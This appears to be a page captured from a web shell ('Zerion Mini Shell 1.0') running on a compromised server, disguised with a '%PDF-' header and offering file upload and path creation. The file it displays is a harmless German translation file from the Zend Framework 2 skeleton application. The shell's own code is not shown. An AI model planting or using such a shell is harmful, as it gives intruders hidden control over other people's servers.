%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/language/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/language/de_DE.po

msgid ""
msgstr ""
"Project-Id-Version: ZendSkeletonApplication\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2012-07-05 23:45-0700\n"
"PO-Revision-Date: 2012-07-06 08:18-0700\n"
"Last-Translator: Evan Coury <me@evancoury.com>\n"
"Language-Team: ZF Contributors <zf-devteam@zend.com>\n"
"Language: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: translate\n"
"X-Poedit-Basepath: .\n"
"X-Poedit-Language: German\n"
"X-Poedit-Country: GERMANY\n"
"X-Poedit-SearchPath-0: ..\n"

#: ../view/layout/layout.phtml:6
#: ../view/layout/layout.phtml:33
msgid "Skeleton Application"
msgstr ""

#: ../view/layout/layout.phtml:36
msgid "Home"
msgstr "Startseite"

#: ../view/layout/layout.phtml:50
msgid "All rights reserved."
msgstr "Alle Rechte vorbehalten."

#: ../view/application/index/index.phtml:2
#, php-format
msgid "Welcome to %sZend Framework 2%s"
msgstr "Willkommen zu dem %sZend Framework 2%s"

#: ../view/application/index/index.phtml:3
#, php-format
msgid "Congratulations! You have successfully installed the %sZF2 Skeleton Application%s. You are currently running Zend Framework version %s. This skeleton can serve as a simple starting point for you to begin building your application on ZF2."
msgstr "Herzlichen Glückwunsch! Sie haben die %sZF2 Skeleton Application%s erfolgreich installiert und benutzen gerade die Version %s des Zend Frameworks. Dieses Gerüst kann Ihnen als Einstiegspunkt, für Ihre weitere Entwicklung, basierend auf dem Zend Framework 2, dienen."

#: ../view/application/index/index.phtml:4
msgid "Fork Zend Framework 2 on GitHub"
msgstr "Fork Zend Framework 2 auf GitHub"

#: ../view/application/index/index.phtml:10
msgid "Follow Development"
msgstr "Folge der Entwicklung"

#: ../view/application/index/index.phtml:11
#, php-format
msgid "Zend Framework 2 is under active development. If you are interested in following the development of ZF2, there is a special ZF2 portal on the official Zend Framework website which provides links to the ZF2 %swiki%s, %sdev blog%s, %sissue tracker%s, and much more. This is a great resource for staying up to date with the latest developments!"
msgstr "Das Zend Framework 2 wird z.Z. aktiv weiterentwickelt.  Sollten Sie daran interessiert sein, die Entwicklung von ZF2 zu verfolgen, so bietet Ihnen die offizielle Webseite einen eigens für das Zend Framework 2 eingerichteten Bereich, auf der Sie Verlinkungen zum ZF2 %sWiki%s, %sEntwickler Blog%s, einem %sFehlerverfolgungssystem%s und noch vielem mehr finden. Dieser Bereich ist eine hervorragende Quelle um stets aktuell zu bleiben."

#: ../view/application/index/index.phtml:12
msgid "ZF2 Development Portal"
msgstr "ZF2 Entwickler Portal"

#: ../view/application/index/index.phtml:16
msgid "Discover Modules"
msgstr "Entdecken Sie Module"

#: ../view/application/index/index.phtml:17
#, php-format
msgid "The community is working on developing a community site to serve as a repository and gallery for ZF2 modules. The project is available %son GitHub%s. The site is currently live and currently contains a list of some of the modules already available for ZF2."
msgstr "Die Community arbeitet momentan an einer Community Seite, welche als Galerie für ZF2 Module dient. Dieses Projekt ist %sauf GitHub%s verfügbar. Die Webseite ist bereits Online und enthält eine Liste mit schon veröffentlichten Modulen für das Zend Framework 2."

#: ../view/application/index/index.phtml:18
msgid "Explore ZF2 Modules"
msgstr "Erkunden Sie ZF2 Module"

#: ../view/application/index/index.phtml:22
msgid "Help &amp; Support"
msgstr "Hilfe &amp; Support"

#: ../view/application/index/index.phtml:23
#, php-format
msgid "If you need any help or support while developing with ZF2, you may reach us via IRC: %s#zftalk on Freenode%s. We'd love to hear any questions or feedback you may have regarding the beta releases. Alternatively, you may subscribe and post questions to the %smailing lists%s."
msgstr "Sollten Sie Hilfe jeglicher Art bei der Entwicklung mit dem Zend Framework 2 benötigen, kontaktieren Sie uns doch einfach über das IRC: %s#zftalk on Freenode%s. Wir freuen uns darauf, Ihnen bei Ihren Fragen zu helfen oder aber auch Ihre Meinung bezüglich der Beta Versionen zu hören. Alternativ können Sie auch die %smailing lists%s abonnieren und Ihre Fragen dort stellen."

#: ../view/application/index/index.phtml:24
msgid "Ping us on IRC"
msgstr "Schreiben Sie uns im IRC an"

#: ../view/error/index.phtml:1
msgid "An error occurred"
msgstr "Ein Fehler ist aufgetreten"

#: ../view/error/index.phtml:8
msgid "Additional information"
msgstr "Zusätzliche Information"

#: ../view/error/index.phtml:11
#: ../view/error/index.phtml:35
msgid "File"
msgstr "Datei"

#: ../view/error/index.phtml:15
#: ../view/error/index.phtml:39
msgid "Message"
msgstr "Meldung"

#: ../view/error/index.phtml:19
#: ../view/error/index.phtml:43
#: ../view/error/404.phtml:55
msgid "Stack trace"
msgstr "Stapelüberwachung"

#: ../view/error/index.phtml:29
msgid "Previous exceptions"
msgstr "Vorherige Ausnahme"

#: ../view/error/index.phtml:58
msgid "No Exception available"
msgstr "Es ist keine Ausnahme verfügbar"

#: ../view/error/404.phtml:1
msgid "A 404 error occurred"
msgstr "Es trat ein 404 Fehler auf"

#: ../view/error/404.phtml:10
msgid "The requested controller was unable to dispatch the request."
msgstr "Der angeforderte Controller war nicht in der Lage die Anfrage zu verarbeiten."

#: ../view/error/404.phtml:13
msgid "The requested controller could not be mapped to an existing controller class."
msgstr "Der angeforderte Controller konnte keiner Controller Klasse zugeordnet werden."

#: ../view/error/404.phtml:16
msgid "The requested controller was not dispatchable."
msgstr "Der angeforderte Controller ist nicht aufrufbar."

#: ../view/error/404.phtml:19
msgid "The requested URL could not be matched by routing."
msgstr "Für die angeforderte URL konnte keine Übereinstimmung gefunden werden."

#: ../view/error/404.phtml:22
msgid "We cannot determine at this time why a 404 was generated."
msgstr "Zu diesem Zeitpunkt ist es uns nicht möglich zu bestimmen, warum ein 404 Fehler aufgetreten ist."

#: ../view/error/404.phtml:34
msgid "Controller"
msgstr "Controller"

#: ../view/error/404.phtml:41
#, php-format
msgid "resolves to %s"
msgstr "wird aufgelöst in %s"

#: ../view/error/404.phtml:51
msgid "Exception"
msgstr "Ausnahme"


Zerion Mini Shell 1.0